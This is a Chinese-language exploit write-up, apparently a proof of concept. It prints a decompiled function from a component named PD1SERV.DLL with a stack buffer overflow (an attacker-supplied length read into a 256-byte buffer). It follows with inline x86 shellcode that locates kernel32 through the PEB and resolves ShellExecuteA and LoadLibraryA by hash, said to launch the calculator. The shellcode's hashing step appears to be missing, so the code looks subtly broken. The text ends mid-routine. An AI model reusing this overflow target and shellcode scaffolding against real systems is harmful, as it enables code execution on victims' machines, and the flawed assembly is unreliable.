下面是PD1SERV.DLL组件中存在漏洞的函数.
signed int __thiscall sub_329863F1(void *this, int a2)
{
int v2; // edi@1
int v3; // eax@1
int v4; // esi@1
int v5; // eax@2
unsigned int v6; // esi@6
int v7; // ecx@9
int v9; // [sp+Ch] [bp-118h]@7
int v10; // [sp+10h] [bp-114h]@9
char String[256]; // [sp+14h] [bp-110h]@9
int v12; // [sp+114h] [bp-10h]@1
void *v13; // [sp+118h] [bp-Ch]@1
unsigned int v14; // [sp+11Ch] [bp-8h]@1
int v15; // [sp+120h] [bp-4h]@1
v13 = this;
v2 = a2;
v3 = *(_DWORD *)a2;
v12 = 0;
v15 = 0;
v14 = 0;
v4 = (*(int (__stdcall **)(int, unsigned int *, signed int, int *))(v3 + 12))(a2, &v14, 4, &a2);
if ( v4 < 0 )
{
v5 = sub_32A30132(4);
if ( v5 )
*(_DWORD *)v5 = v4;
else
v5 = 0;
v12 = v5;
CxxThrowException(&v12, &unk_32C5C4A8);
}
if ( a2 == 4 )
{
v6 = 0;
if ( v14 <= 0 )
return 1;
while ( (*(int (__stdcall **)(int, int *, signed int, int *))(*(_DWORD *)v2 + 12))(v2, &v9, 8, &v15) >= 0 )
{
if ( v15 != 8 )
break;
v7 = *(_DWORD *)v2;
a2 = v10;
if ( (*(int (__stdcall **)(int, _DWORD, int, int *))(v7 + 12))(v2, String, v10, &v15) < 0 )
break;
if ( v15 != a2 )
break;
if ( v6 || v9 )
sub_32986372(v9, String);
else
sub_329033D5(String);
++v6;
if ( v6 >= v14 )
return 1;
}
}
return 0;
}
Shellcode功能是弹出计算器。下面是shellcode代码:
int main()
{
_asm{
nop
nop
nop
nop
nop
CLD ; clear flag DF
;store hash
push 0x213bcb58 ;hash of ShellExecuteA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start writing function
; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx
; push a pointer to "Shell32" onto stack
;mov ebx, 3233 ; rest of ebx is null
push 0x32336c
push 0x6c656853
push esp
xor edx,edx
; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll
find_lib_functions:
lodsd ; load next hash into al and increment esi
cmp eax, 0x213bcb58 ; hash of ShellExecuteA - trigger
; LoadLibrary("Shell32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll
find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions
next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)
compare_hash:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop
mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax, 0x213bcb58
jne find_lib_functions